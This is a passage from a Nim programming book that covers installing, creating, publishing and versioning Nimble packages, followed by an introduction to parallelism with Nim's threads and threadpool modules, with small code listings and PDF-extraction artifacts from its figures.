0.1.0 ... MyPkg.nimble Commit tag Commit hash Reference to the latest commit in the current branch The Nimble package’s version is updated in the .nimble file. It can change together with the package’s source files between commits. Figure 5.6 An external Nimble package’s evolution Licensed to <null> 135 Installing Nimble packages 5.5 Installing Nimble packages The installation of Nimble packages is likely the most common task that you’ll use Nimble for. You saw an example of the install command in the previous section. This command is the primary means of installing packages. 5.5.1 Using the install command The install command is powerful. It can do any of the following:  Install packages on your local filesystem  Install packages from a specified URL  Install a package by name  Install a specific version of a package  Install multiple packages at once Installing local packages is simple. Just open a new terminal, cd into the directory of your local package (by typing cd /home/user/MyPkg, for example), and execute nimble install. To install a package from a URL, open a new terminal and execute nimble install <your_url_here>, replacing the <your_url_here> with the URL of the pack- age you want to install. Currently, the URL must point to a non-empty Git or Mercurial repository. Nimble saves you the trouble of remembering a bunch of URLs for different pack- ages. A package repository that contains a listing of packages created by the Nim com- munity is available. Nimble downloads this listing, which contains some basic information about each package, such as the package’s URL and name. Remember the search command? It searches through this listing, so any of the packages listed in your search results can be installed by specifying their names after the install com- mand. For example, to install the daemonize package seen in the search results in fig- ure 5.4, execute nimble install daemonize. A specific version of a package can be installed by using the special @ character after the name of a package. For example, to install version 0.0.1 of the daemonize package, execute nimble install daemonize@0.0.1. Alternatively, instead of a spe- cific version, you can specify a version range. For example, if you want to install the lat- est version that’s greater than version 0.0.1, you can execute nimble install daemonize@>=0.0.1. Specifying a repository revision is also supported by using the # character after the @ character, such as nimble install daemonize@#b4be443. WARNING: SPECIAL CHARACTERS IN SHELLS Depending on your shell, some of the characters, such as @, >, or =, may be treated as part of the shell’s syntax. You may need to escape them or quote the package name and version like so: nimble install "daemonize@>=0.1.0". Specifying multiple parameters to the install command will cause Nimble to install more than one package. The parameters just need to be separated by a space. Licensed to <null> 136 CHAPTER 5 Package management 5.5.2 How does the install command work? To learn about what the install command does, let’s look at the previous example command: nimble install daemonize. Try executing it now if you haven’t already. You should see output similar to that in figure 5.7. Nimble’s output is currently rather verbose, but it tries to give as much information about the installation as possible. The output that you see in your version of Nimble may be a bit different from figure 5.7, but the key information should remain the same. The messages shown in figure 5.7 show each of the files from the daemonize package being copied into /Users/dom/.nimble/pkgs/daemonize-0.0.2/. Scroll up in your terminal window, and you’ll see what Nimble does first: it begins downloading the package. But before that, Nimble needs to know where to download the daemonize package from, and it determines this by consulting the package list. Figure 5.8 shows the full installation process and its many subprocesses. The package list is currently hosted in a Git repository, and it can be accessed on GitHub at the following URL: https://github.com/nim-lang/packages. The package-list repository stores a packages.json file that lists metadata for different packages, including each package’s name, URL, description, and more. Nimble can read this list, find the package you specified on the command line, and retrieve that package’s URL. That way Nimble can determine the location of that package’s repository and can easily download it. Figure 5.9 shows how the daemonize package is found in the packages.json file. Shows the files that are being installed as part of the package. This wouldn’t be shown without the --verbose flag. Installation status message The --verbose flag is necessary to show the additional status message. Destination filename The filename being copied Figure 5.7 The output of nimble install daemonize Licensed to <null> 137 Installing Nimble packages $ nimble install daemonize https://github.com/rgv151/daemonize.nim Find download URL and repo type for daemonize package Download the repository $ git clone https://github.com/rgv151/daemonize.nim Find .nimble file. Parse it. Verify version requirements. Check dependencies. If dependencies are not installed, install them. daemonize daemonize.nim daemonize.nimble ~/.nimble/pkgs/daemonize-0.2.0 daemonize.nim daemonize.nimble Copy Copy ... ... Copy files in package directory to installation directory $ nimble install <dependency> Figure 5.8 The Nimble installation process $ nimble install daemonize packages.json ... { "name": "daemonize", "url": "https://github.com/rgv151/daemonize.nim", "method": "git", "tags": ["daemonize", "background", "linux"], "description": "This library makes your code run as a daemon process on Unix-like systems", "license": "MIT", "web": "https://github.com/rgv151/daemonize.nim" }, ... "url": "https://github.com/rgv151/daemonize.nim" "method": "git" https://github.com/rgv151/daemonize.nim (git) Find download URL and repo type for daemonize package Figure 5.9 Finding information about the daemonize package in the packages.json file Licensed to <null> 138 CHAPTER 5 Package management PACKAGE LISTS The package list stored in https://github.com/nim-lang/ pack- ages is the official Nimble package list. As of version 0.7.0, Nimble supports multiple package lists, so you can easily create and use your own package list in conjunction with the official one. The “Configuration” section of the Nim- ble readme explains how this can be done: https://github.com/nim- lang/nimble#configuration. The download is done using either Git or Mercurial. As part of the download process, Nimble parses the tags on the remote repository and determines which satisfies the version requirements specified by the user. If more than one tag satisfies the version requirements, it picks the highest version. Figure 5.10 shows how Nimble decides which commit of a Nimble package to install. Once the download is complete, the package’s .nimble file is read, and Nimble verifies the validity of this file. Before installation can commence, the following must be checked:  The version field specified in the .nimble file must correspond to the version that was tagged on the repository.  The files that will be installed must follow a specific directory layout.  The correct dependencies specified in the .nimble file must be installed. Those are some of the most common checks that Nimble performs. If the first two fail, they’ll result in an error and the package won’t be installed. Missing dependencies will be installed automatically by Nimble. You’ll learn more about these checks in the next section, where I’ll show you how to create your own Nimble package. Once the package is successfully validated, the installation commences, and Nim- ble copies all the files in the package to ~/.nimble/pkgs/pkg-ver, where ver is the ver- sion of the package and pkg is the name of the package. HEAD v0.1.0 77fff838c ef889a10a 6c6d39d56 c6b4d0e5c 405b86068 $ nimble install pkg v0.2.0 pkg HEAD v0.1.0 77fff838c ef889a10a 6c6d39d56 c6b4d0e5c 405b86068 $ nimble install pkg@#head pkg v0.2.0 Reference explicitly selected Latest commit, but latest tagged version takes precedence Not latest tagged version Latest tagged version Figure 5.10 How Nimble decides which version of a package to install Licensed to <null> 139 Creating a Nimble package That’s a simple overview of the process involved in installing a Nimble package. This process can become more complicated depending on the options specified in the .nimble file. 5.6 Creating a Nimble package You’ve likely encountered situations where some functionality in your application could be reused in another application. For example, in chapter 3, you developed a protocol module that defines procedures for encoding and decoding chat messages. You might want that module to be usable in other applications. The easiest way to do so is to create a package out of that module. Your applica- tions can then add that package as a dependency and use the same module easily. Creating a Nimble package out of your Nim library or application has a number of advantages, such as making the installation of dependencies much easier and allowing others to use your package as a dependency for their own packages. Creating a Nimble package is also fairly straightforward. All you need to do is cre- ate a .nimble file and you’re good to go. Nimble’s init command makes the creation of this file easy. The command will ask you some questions about the package and will create a .nimble file based on your responses. You’ll likely still need to edit the result- ing .nimble file manually to customize the options further, but once you understand what those options do, that’s fairly straightforward. Once you’ve created a local Nimble package, you might also want to open source it and publish it in Nimble’s package list. To do this, you’ll need to initialize a new Git or Mercurial repository. Later in this chapter, I’ll show you how a Nimble package can be published. Let’s create a simple Nimble package. 5.6.1 Choosing a name A package’s name is very important. It needs to be as short as possible and ideally should describe what functionality the package implements. PACKAGE NAME UNIQUENESS When picking a package name, it’s a good idea to ensure that it’s unique, especially if you intend to publish it to the Nimble package repository. You must pick a name that doesn’t contain any hyphens or at symbols (- or @). Those characters are treated uniquely by Nimble, so they’re disallowed in package names. The package that you’ll create as part of this chapter will implement some very sim- ple procedures for manipulating numbers. You can choose whatever package name you wish, but throughout this chapter I’ll use the name NimbleExample. If you choose a different name, you’ll need to adjust the chapter’s example code accordingly. To get started, create a NimbleExample directory somewhere on your filesystem. It will contain the Nimble package. Licensed to <null> 140 CHAPTER 5 Package management 5.6.2 A Nimble package’s directory layout All Nimble packages must adhere to a specific directory layout. This layout is more important for libraries than applications because an application will be compiled, and in most cases all that needs to be installed will be the application’s executable. For libraries, the most important rule is to place all modules in a separate directory named after the package. So you need to create another NimbleExample directory inside the NimbleExample directory you’ve already cre- ated. Any modules placed inside that directory will be importable with the NimbleExample/ prefix, like this: import NimbleExample/module. One exception to this rule is that you can place a single module containing the pri- mary functionality of your library in the root directory of your package, but it must share the name of your package. In this case, the module’s filename would be Nimble- Example.nim. Figure 5.11 shows what the final directory structure of NimbleExample will look like. For the purposes of this example, create the following math.nim file inside the sec- ondary NimbleExample directory. proc add*(a, b: int): int = a + b The code in listing 5.2 is pretty straightforward. It defines a new add procedure that adds two integers together. Note the * used to export the procedure; it ensures that the add procedure can be accessed from other modules. Save the code in listing 5.2 as math.nim in the NimbleExample/NimbleExample directory. There’s an additional convention for modules in a package that are destined to be used only by that package. They should be placed in a private directory, as is the case for the utils module defined in listing 5.3. Create a new directory named private in the NimbleExample/NimbleExample directory, and save the following code as utils.nim in NimbleExample/NimbleExample/private. proc mult*(a, b: int): int = a * b Listing 5.2 The math module Listing 5.3 The utils module Defines a new add procedure taking two integers and returning the sum of those two integers. The procedure is exported using the *. Defines a new mult procedure taking two integers and returning the result when those numbers are multiplied. The procedure is exported using the * that follows its name. Figure 5.11 The NimbleExample directory layout Licensed to <null> 141 Creating a Nimble package The code in listing 5.4 is a bit more complicated. It imports two modules defined in the NimbleExample package. The first is the math module defined in listing 5.2, and the other is the utils module defined in listing 5.3. Save the code in the following listing as data.nim in the NimbleExample/NimbleExample directory. import NimbleExample/math import NimbleExample/private/utils let age* = mult(add(15, 5), 2) The final directory layout should look like what you saw in figure 5.11. Ensure that your local directory layout is the same. 5.6.3 Writing the .nimble file and sorting out dependencies Now that the modules are all in the correct directories, it’s time to create the Nimble- Example.nimble file. You can execute nimble init in the outer NimbleExample directory to create this file automatically. Figure 5.12 shows an example of what nimble init asks and the answers needed to generate the NimbleExample.nimble file shown in listing 5.5. # Package version = "0.1.0" author = "Your Name" description = "Simple package to learn about Nimble" license = "MIT" # Dependencies requires "nim >= 0.12.0" Listing 5.4 The data module Listing 5.5 The beginnings of NimbleExample.nimble Imports the math module from the NimbleExample package Imports the private utils module from the NimbleExample package Uses the procedures defined in the utils and math modules to calculate the age. The age variable is exported using the *. Figure 5.12 The nimble init command Licensed to <null> 142 CHAPTER 5 Package management After you execute nimble init or save the contents of listing 5.5 as NimbleExample .nimble, you should be able to execute nimble install. That should successfully install your package! That’s how simple it is to create a Nimble package. But creating a Nimble package is just a small first step in developing Nimble packages. Packages evolve and require- ments change, so how can Nimble help you during development? For example, while developing a package, you may realize that you need the func- tionality of another Nim library. In many cases, this library will be a Nimble package. For example, you may want to create a version of add for very large integers—ones bigger than the biggest integer type in Nim’s standard library. The bigints package provides this functionality. Open the math.nim file in the NimbleExample package, and change it so that its contents are the same as those in the next listing. Changes are highlighted in bold. import bigints proc add*(a, b: int): int = a + b proc add*(a, b: BigInt): BigInt = a + b Now try to compile it by executing nim c NimbleExample/math. The compiler should output something similar to “math.nim(1, 8) Error: cannot open 'bigints'.” This points to the line of code that imports the bigints module. The compilation fails because the bigints package hasn’t been installed. Install it now by executing nimble install bigints and compile NimbleExample/math again. This time the compilation should succeed. Does this mean that every user of the NimbleExample package will need to install the bigints package manually? Currently, yes. But this is where the dependency spec- ification in the NimbleExample.nimble file comes in—it allows Nimble to install the dependencies automatically. When compiling any Nim source code using the Nim compiler, every package that you’ve installed using Nimble will be available to that source code. This is why import- ing the bigints module works as soon as you install the bigints package. Nimble supports a handy c command that does exactly what the Nim compiler does: it compiles the specified file. Try compiling the math.nim file using Nimble by executing nimble c NimbleExample/math and note the results. You may be surprised by the failure in execution, but it illustrates the key difference between compiling with the Nim compiler directly, and compiling with Nimble. Nimble doesn’t let you import any modules whose packages you haven’t specified as dependen- cies in your project’s .nimble file, with the exception of the standard library modules. Listing 5.6 Using the bigints package in the math module Imports the bigints module from the bigints package. There’s no need to explicitly state the package name and module name. Defines an add procedure for the BigInt type defined in the bigints module Licensed to <null> 143 Creating a Nimble package Let’s change the NimbleExample.nimble file so that it includes the bigints package as a dependency. The following listing shows what the NimbleExample.nimble file should now look like, with the differences highlighted in bold. # Package version = "0.1.0" author = "Your Name" description = "Simple package to learn about Nimble" license = "MIT" # Dependencies requires "nim >= 0.12.0", "bigints" The dependency on bigints in listing 5.7 specifies no requirements on the version of that package. As a result, Nimble will attempt to install the latest tagged version of that library, assuming one isn’t already installed. CUTTING-EDGE DEPENDENCIES Inside your .nimble file’s dependency specifica- tion, you can write #head after a package’s name, like this: requires "bigints#head". This will get Nimble to compile your package with the latest revision of that package available. This is similar to specifying @#head when installing packages on the command line, as shown in figure 5.9. Once you change your NimbleExample.nimble file to match listing 5.7, you should be able to successfully compile the math module using Nimble. Nimble will even automat- ically install the bigints package for you if it detects that it’s not installed. Figure 5.13 shows the difference between nim c and nimble c, depending on whether the bigints package has been installed. You should now have a basic understanding of how Nimble handles dependencies, and you should know how to create more Nimble packages. But there’s one piece of knowledge still missing: the process involved in publishing Nimble packages, which we’ll discuss next. But before you move on to the next section, here’s a quick challenge. Write some simple tests for your Nimble package inside some of the package’s modules. Remem- ber to put your tests under a when isMainModule: statement; this statement ensures Listing 5.7 Adding a dependency on the bigints package Global Nimble packages and the Nim compiler By default, when installing a package using Nimble, the package is installed into the current user’s Nimble package store, which is located in ~/.nimble/. Every time you compile a Nim module using the Nim compiler, that module can import any of the modules belonging to any of the packages in Nimble’s package store. If there are two versions of the same package installed, Nim will use the latest one. Licensed to <null> 144 CHAPTER 5 Package management that any code in its body is only executed when the math module is compiled directly. This ensures that tests aren’t executed when the math module is imported in an appli- cation. Then, run those tests by using Nimble’s c command. For example, nimble c -r NimbleExample/math, with the -r flag, will run the resulting executable automati- cally after compilation. $ nim c math import bigints stdlib ~/.nimble/ Before bigints package is installed (1, 8) Error: cannot open 'bigints'. $ nimble c math import bigints stdlib ~/.nimble/pkgs/bigints-0. No $ nimble install bigints Compilation successf $ nim c math $ nimble c math import bigints stdlib ~/.nimble/pkgs/bigints-0. Yes Compilation successf $ nim c math After bigints package is installed $ nim c math import bigints stdlib ~/.nimble/ Compilation successf Searching for bigints module Searching for bigints module Has bigints dependency, specified in the .nimble file, been installed? Has bigints dependency, specified in the .nimble file, been installed? Searching for bigints module Searching for bigints module Figure 5.13 nim c vs. nimble c Licensed to <null> 145 Publishing Nimble packages 5.7 Publishing Nimble packages The process of publishing a Nimble package to the official package list is fairly straightforward. But before your package is published, it must first be uploaded to a Git or Mercurial repository hosting service (such as GitHub or Bitbucket) and go through an approval process. The first thing that you need to do is initialize a Git or Mercurial repository in your package’s directory. We’ll create a Git repository in this example because Git has been more widely adopted, but the choice of repository type doesn’t matter much. It’s mostly a matter of preference. VERSION CONTROL The details of distributed version control, Git, and Mercu- rial are outside the scope of this book. I recommend you read up on these technologies further if you’re not familiar with them. Before you get started, you’ll need to create an account on http://github.com if you don’t already have one. After you have an account set up and are logged in, create a new Git repository on GitHub by clicking the New Repository button. If you can’t find such a button, go to this URL: https://github.com/new. You should see something similar to the screen- shot in figure 5.14. Figure 5.14 Creating a new repository on GitHub Licensed to <null> 146 CHAPTER 5 Package management Specify “NimbleExample” as the Repository Name, and then click the green Create Repository button. You’ll be shown another web page that will let you know how to create a repository on the command line. The instructions on the web page are very generic. Listing 5.8 shows commands similar to the ones on the web page but tailored to successfully upload the NimbleExample package to GitHub. Execute these com- mands now. git init git add NimbleExample.nimble NimbleExample/data.nim NimbleExample/ ➥ math.nim NimbleExample/private/utils.nim git commit -m "first commit" git remote add origin git@github.com:<your-user-name>/NimbleExample.git git push -u origin master Once you successfully execute those commands, navigating to https://github.com/ <your-user-name>/NimbleExample should show you a list of files. These files should include NimbleExample.nimble, the NimbleExample directory, and its contents. There’s only one thing left to do. The package is public, but Nimble has no way to find it yet because it hasn’t been added to its package list. This means you won’t be able to install it by executing nimble install NimbleExample. Nimble can make use of multiple package lists, but the official package list at https://github.com/nim-lang/packages is the most widely used. A pull request is cre- ated whenever a user wants to add a package to this package list, and once that’s done, the Nim community checks that the package can be added to the package list. Certain aspects of the package are checked, such as the package’s name, to ensure it doesn’t clash with the names of any other packages already on the list. The pull request can be created manually or with the help of Nimble’s publish command, which creates the pull request for you automatically. Before publishing a package, it’s a good idea to ensure that it can be installed suc- cessfully. Execute nimble install in the package’s directory to verify that it can be installed successfully. The package is then ready to be published. Execute nimble publish now, and fol- low the on-screen prompts. The process is somewhat complex as it requires you to cre- ate a new GitHub access token for Nimble. But once you do so, it streamlines the process of publishing Nimble packages significantly. When your package is accepted and is added to the package list, you’ll be able to install it by executing nimble install NimbleExample. Remember that publishing a Nimble package is only done once. You don’t need to publish the package again when you develop a new version of it. Instead, the version is tagged, as you’ll see in the next section. Listing 5.8 Commands to upload the NimbleExample package to GitHub Remember to change <your-user-name> to your GitHub username. Licensed to <null> 147 Developing a Nimble package 5.8 Developing a Nimble package Software projects are typically given version numbers to identify their state. As soft- ware evolves, new developments are marked with increasing version numbers. Nimble packages are no different. The NimbleExample package began its life as version 0.1.0, and if it continues to be developed, it may someday reach version 1.0 or even 10.3. Versions help the user distinguish and identify different states of your package. Version information for your package is stored in your package’s .nimble file using the version key. The version must consist of at least one digit, and multiple digits must be separated by periods. A full line specifying the version could look something like version = "1.42.5". 5.8.1 Giving version numbers meaning The way in which version numbers are assigned and incremented differs. In some cases, the version numbers have little meaning other than signifying that version 1.0 is newer than version 0.5. In others, such as with semantic versioning, the version numbers tell you more about the API compatibility of different versions of software. Semantic versioning is a convention for specifying a three-part version number: major version, minor version, and patch. The patch is incremented for minor bug fixes and changes that don’t affect the API of the software. The minor version is incremented when backward-compatible additions are made to the software. The major version is incremented when the API of the software changes to something that’s not backward compatible. The full semantic versioning specification is available at http://semver.org. All Nimble packages should use this convention, so if you aren’t familiar with it, be sure to learn about it. 5.8.2 Storing different versions of a single package There are some things you need to keep in mind with versioning and Nimble packages. A local Nimble package that doesn’t have a Git or Mercurial repository associated with it has a specific version associated with it. This is the version in the .nimble file. A local Nimble package that does have a Git or Mercurial repository associated with it is the same, but different versions of it can be retrieved because its repository contains a full history of the package. The retrieval must be done manually for local packages, whereas for remote packages, Nimble will automatically retrieve the speci- fied version. All remote Nimble packages are currently stored in such repositories, and they can be downloaded to create a local repository containing each version of the Nimble package. Figure 5.15 shows the difference between a Nimble package with and without a Git repository. When developing Nimble packages, it’s important to remember one thing: Nimble uses the tags in the Nimble package’s repository to retrieve a certain version. Licensed to <null> 148 CHAPTER 5 Package management Whenever you want to release a new version of a package, you need to follow these steps: 1 Increment the version number in the .nimble file. 2 Commit these changes into your repository; for example, git commit -am "Version 0.1.2". 3 Tag the commit you just made, using the new version number as the tag name; for example, git tag v0.1.2. 4 Upload the changes to the remote repository, making sure you upload the tags as well; for example, git push origin master --tags. Performing step 1 first is very important. If the name of the tag doesn’t match the ver- sion specified in the .nimble file at the point in history that the tag corresponds to, there will be an inconsistency, and Nimble will refuse to install the package. The preceding steps for tagging versions are specific to Git. You’ll find that in order to develop Nimble packages, you’ll need at least a basic knowledge of Git or Mercurial. 5.9 Summary  The Nim package manager is called Nimble.  A Nimble package is any directory or repository, compressed or otherwise, con- taining a .nimble file and some Nim source code.  A .nimble file contains information about a package, including its version, author, dependencies, and more.  Nimble packages are installed using the nimble install command.  Nimble packages can be installed from various sources, including the local filesystem, a Git or Mercurial URL, and a curated list of packages identified by name.  Installing a package by name or from a URL will install the latest tagged version of it; the tip or the HEAD can be installed by appending @#head to the URL or package name. NimbleExample.nimble NimbleExample package .git NimbleExample.nimble NimbleExample package Local package with no repository Local package with a Git repository Version 1.0.0 Version 1.0.0 0.1.0 0.2.0 0.3.0 Figure 5.15 Local Nimble package with no repository vs. one with a Git repository Licensed to <null> 149 Summary  A Nimble package can be created using the nimble init command.  A Nimble package can be published using the nimble publish command.  New versions of packages are released by incrementing the version number in the .nimble file, creating a new commit, and then tagging it as the new version in Git or Mercurial. Licensed to <null> 150 Parallelism Every computer program performs one or more computations, and these computa- tions are usually performed sequentially. That is, the current computation has to com- plete before the next one starts. For example, consider a simple calculation, (2 + 2) x 4, in which the addition must be computed first, to give 4, followed by the multiplication, to give 16. In that example, the calculation is performed sequentially. Concurrency allows more than one computation to make progress without wait- ing for all other computations to complete. This form of computing is useful in many situations, such as in an I/O application like the chat application you devel- oped in chapter 3. If executed sequentially, such applications waste time waiting on input or output operations to complete. Concurrency allows this time to be used for another task, drastically reducing the execution time of the application. You This chapter covers  Exploring the importance of parallelism  Examining concurrency versus parallelism  Getting to know threads in Nim  Advanced parsing of data using regular expressions and other means  Parallelizing the parsing of large datasets Licensed to <null> 151 Concurrency vs. parallelism learned about concurrency in chapter 3; in this chapter, you’ll learn about a related concept called parallelism. Nim offers many built-in facilities for concurrency and parallelism including asyn- chronous I/O features in the form of futures and await, spawn for creating new threads, and more. You’ve already seen some of these used in chapter 3. Parallelism in Nim is still evolving, which means that the features described in this chapter may change or be replaced by more-robust features. But the core concepts of parallelism in Nim should remain the same, and what you’ll learn in this chapter will be applicable to other programming languages as well. In addition to showing you Nim’s parallelism features, this chapter will lead you through the implementation of a simple parser, which will show you different meth- ods for creating parsers. Toward the end of the chapter, you’ll optimize the parser so it’s concurrent and can be run in parallel on multiple CPU cores. 6.1 Concurrency vs. parallelism Nowadays, almost all OSs support multitasking, the ability to perform multiple tasks over a certain period of time. A task is usually known as a process, which is an instance of a computer program being executed. Each CPU executes only a single process at a time, but multitasking allows the OS to change the process that’s currently being executed on the CPU without having to wait for the process to finish its execution. Figure 6.1 shows how two processes are executed concurrently on a multitasking OS. Because CPUs are extremely fast, process A can be executed for 1 nanosecond, fol- lowed by process B for 2 nanoseconds, followed by process A for another nanosec- ond.1 This gives the impression of multiple processes being executed at the same time, even though a CPU can only execute a single instruction at a time. This apparent simultaneous execution of multiple processes is called concurrency. 1 For simplicity, I’ll ignore the time taken for a context switch here. Process A Time (in nanoseconds) 0 1 2 3 4 Process B ... Process A is executed first for 1 ns. Execution of process A is paused. Process B is executed for 2 ns. Execution of process B is paused. Execution of process A is resumed. Figure 6.1 Concurrent execution of two processes Licensed to <null> 152 CHAPTER 6 Parallelism In recent years, multicore CPUs have become popular. This kind of CPU consists of two or more independent units that can run multiple instructions simultaneously. This allows a multitasking OS to run two or more processes at the same time in parallel. Figure 6.2 shows how two processes are executed in parallel on a dual-core CPU. Unlike a single-core CPU, a dual-core CPU can actually execute two processes at the same time. This type of execution is called parallelism, and it can only be achieved on multiple physical CPUs or via a simultaneous multithreading (SMT) technology such as Intel’s Hyper-Threading (HT) Technology. Remember that despite the apparent similarities between concurrency and parallelism, the two are not the same. In addition to processes, the OS also manages the execution of threads. A thread is a component of a process, and more than one can exist within the same process. It can be executed concurrently or in parallel, just like a process, although unlike pro- cesses, threads share resources such as memory among each other. To make use of the full power of a multicore CPU, CPU-intensive computations must be parallelized. This can be done by using multiple processes, although threads are more appropriate for computations that require a large amount of data to be shared. The asynchronous await that you saw used in chapter 3 is strictly concurrent. Because the asynchronous code always runs on a single thread, it isn’t parallel, which means that it can’t currently use the full power of multicore CPUs. PARALLEL ASYNC AWAIT It’s very likely that a future version of Nim will include an asynchronous await that’s parallel. Unlike asynchronous await, spawn is parallel and has been designed specifically for CPU-intensive computations that can benefit from being executed on multicore CPUs. PARALLELISM IN OTHER PROGRAMMING LANGUAGES Some programming lan- guages, such as Python and Ruby, don’t support thread-level parallelism due to a global interpreter lock in their interpreter. This prevents applications that use threads from using the full power of multicore CPUs. There are ways around this limitation, but they require the use of processes that aren’t as flexible as threads. Process A Time/nanoseconds 0 1 2 3 4 Process B ... ... Core #1: Core #2: Process A and Process B being executed at the same time, in parallel on two different CPU cores. Figure 6.2 Parallel execution of two processes Licensed to <null> 153 Using threads in Nim 6.2 Using threads in Nim Now that you’ve learned the difference between concurrency and parallelism, you’re ready to learn how to use threads in Nim. In Nim, there are two modules for working with threads. The threads module (http://nim-lang.org/docs/threads.html) exposes the ability to create threads manu- ally. Threads created this way immediately execute a specified procedure and run for the duration of that procedure’s runtime. There’s also the threadpool module (http://nim-lang.org/docs/threadpool.html), which implements a thread pool. It exposes spawn, which adds a specified procedure to the thread pool’s task queue. The act of spawning a procedure doesn’t mean it will be running in a separate thread immediately, though. The creation of threads is managed entirely by the thread pool. The sections that follow will explain all about the two different threading modules, so don’t feel overwhelmed by the new terms I just introduced. 6.2.1 The threads module and GC safety In this section, we’ll look at the threads module. But before we start, I should explain how threads work in Nim. In particular, you need to know what garbage collector safety (GC safety) is in Nim. There’s a very important distinction between the way threads work in Nim and in most other programming languages. Each of Nim’s threads has its own isolated memory heap. Sharing of memory between threads is restricted, which helps to prevent race conditions and improves efficiency. Efficiency is also improved by each thread having its own garbage collector. Other implementations of threads that share memory need to pause all threads while the gar- bage collector does its business. This can add problematic pauses to the application. Let’s look at how this threading model works in practice. The following listing shows a code sample that doesn’t compile. var data = "Hello World" proc showData() {.thread.} = echo(data) var thread: Thread[void] createThread[void](thread, showData) joinThread(thread) Listing 6.1 Mutating a global variable using a Thread Defines a new mutable global variable named data and assigns the text "Hello World" to it Defines a new procedure that will be executed in a new thread. The {.thread.} pragma must be used to signify this. Attempts to display the value of the data variable Defines a variable to store the new thread. The generic parameter signifies the type of parameter that the thread procedure takes. In this case, the void means that the procedure takes no parameters. The createThread procedure executes the specified procedure in a new thread. Waits for the thread to finish Licensed to <null> 154 CHAPTER 6 Parallelism THE THREADS MODULE The threads module is a part of the implicitly imported system module, so you don’t need to import it explicitly. This example illustrates what’s disallowed by the GC safety mechanism in Nim, and you’ll see later on how to fix this example so that it compiles. Save the code in listing 6.1 as listing01.nim, and then execute nim c --threads:on listing01.nim to compile it. The --threads:on flag is necessary to enable thread support. You should see an error similar to this: listing01.nim(3, 6) Error: 'showData' is not GC-safe as it accesses ➥ 'data' which is a global using GC'ed memory This error describes the problem fairly well. The global variable data has been cre- ated in the main thread, so it belongs to the main thread’s memory. The showData thread can’t access another thread’s memory, and if it attempts to, it’s not considered GC safe by the compiler. The compiler refuses to execute threads that aren’t GC safe. A procedure is considered GC safe by the compiler as long as it doesn’t access any global variables that contain garbage-collected memory. An assignment or any sort of mutation also counts as an access and is disallowed. Garbage-collected memory includes the following types of variables:  string  seq[T]  ref T  Closure iterators and procedures, as well as types that include them There are other ways of sharing memory between threads that are GC safe. You may, for example, pass the contents of data as one of the parameters to showData. The fol- lowing listing shows how to pass data as a parameter to a thread; the differences between listings 6.2 and 6.1 are shown in bold. var data = "Hello World" proc showData(param: string) {.thread.} = echo(param) var thread: Thread[string] createThread[string](thread, showData, data) joinThread(thread) Save the code in listing 6.2 as listing2.nim, and then compile it using nim c --threads:on listing2.nim. The compilation should be successful, and running the program should display "Hello World". Listing 6.2 Passing data to a thread safely A parameter of type string is specified in the procedure definition. The procedure argument is passed to echo instead of the global variable data. The void has been replaced by string to signify the type of parameter that the showData procedure takes. The data global variable is passed to the createThread procedure, which will pass it on to showData. Licensed to <null> 155 Using threads in Nim The createThread procedure can only pass one variable to the thread that it’s cre- ating. In order to pass multiple separate pieces of data to the thread, you must define a new type to hold the data. The following listing shows how this can be done. type ThreadData = tuple[param: string, param2: int] var data = "Hello World" proc showData(data: ThreadData) {.thread.} = echo(data.param, data.param2) var thread: Thread[ThreadData] createThread[ThreadData](thread, showData, (param: data, param2: 10)) joinThread(thread) EXECUTING THREADS The threads created in the previous listings don’t do very much. Let’s examine the execution of these threads and see what happens when two threads are created at the same time and are instructed to display a few lines of text. In the following examples, two series of integers are displayed. var data = "Hello World" proc countData(param: string) {.thread.} = for i in 0 .. <param.len: stdout.write($i) echo() var threads: array[2, Thread[string]] createThread[string](threads[0], countData, data) createThread[string](threads[1], countData, data) joinThreads(threads) Save the code in listing 6.4 as listing3.nim, and then compile and run it. Listing 6.5 shows what the output will look like in most cases, and listing 6.6 shows what it may sometimes look like instead. 001122334455667788991010 Listing 6.3 Passing multiple values to a thread Listing 6.4 Executing multiple threads Listing 6.5 First possible output when the code in listing 6.4 is executed Iterates from 0 to the length of the param argument minus 1 Displays the current iteration counter without displaying the newline character Goes to the next line This time, there are two threads stored in an array. Creates a thread and assigns it to one of the elements in the threads array Waits for all threads to finish Licensed to <null> 156 CHAPTER 6 Parallelism 012345678910 012345678910 The execution of the threads depends entirely on the OS and computer used. On my machine, the output in listing 6.5 likely happens as a result of the two threads running in parallel on two CPU cores, whereas the output in listing 6.6 is a result of the first thread finishing before the second thread even starts. Your system may show different results. Figure 6.3 shows what the execution for both the first and second sets of results looks like. The threads created using the threads module are considerably resource intensive. They consume a lot of memory, so creating large numbers of them is inefficient. They’re useful if you need full control over the threads that your application is using, but for most use cases the threadpool module is superior. Let’s take a look at how the threadpool module works. 6.2.2 Using thread pools The main purpose of using multiple threads is to parallelize your code. CPU-intensive computations should make use of as much CPU power as possible, which includes using the power of all the cores in a multicore CPU. A single thread can use the power of a single CPU core. To use the power of all the cores, you could simply create one thread per core. The biggest problem then is mak- ing sure that those threads are all busy. You might have 100 tasks that don’t all take the same amount of time to complete, and distributing them across the threads isn’t a triv- ial job. Listing 6.6 Second possible output when the code in listing 6.4 is executed Thread #1 0 0 1 1 Thread #2 2 2 For output: 001122334455667788991010 00 3 3 ... ... 11 22 33 ... Thread #1 0 0 1 1 Thread #2 For output: 012345678910 012345678910 0 ... ... 1 ... 0 ... Finish 1 Finish Figure 6.3 The two possible executions of listing 6.4 Licensed to <null> 157 Using threads in Nim Alternatively, one thread per task could be created. But this creates problems of its own, in part because thread creation is very expensive. A large number of threads will consume a lot of memory due to OS overhead. WHAT IS A THREAD POOL? The threadpool module implements an abstraction that manages the distribution of tasks over a number of threads. The threads themselves are also managed by the thread pool. The spawn command allows tasks, in the form of procedure invocations, to be added to the thread pool, which then executes the tasks in one of the threads it man- ages. The thread pool ensures that the tasks keep all the threads busy so that the CPU’s power is utilized in the best way possible. Figure 6.4 shows how the thread pool man- ages tasks under the hood. USING SPAWN The spawn procedure accepts an expression, which in most cases is a procedure call. spawn returns a value of the type FlowVar[T] that holds the return value of the proce- dure that was called. This is an advantage in comparison to the threads module, where threads can’t return any values. The following listing shows the spawn equivalent of the code in listing 6.4. import threadpool var data = "Hello World" proc countData(param: string) = for i in 0 .. <param.len: stdout.write($i) echo() spawn countData(data) spawn countData(data) sync() Listing 6.7 Executing multiple threads using spawn Threads spawn myProc FlowVar[T] Newly spawned tasks Tasks running on threads Finished task Figure 6.4 A Nim thread pool The threadpool module needs to be explicitly imported to use spawn. The procedure passed to spawn doesn’t need the {.thread.} pragma. The syntax for spawning the procedure is much simpler than using createThread. 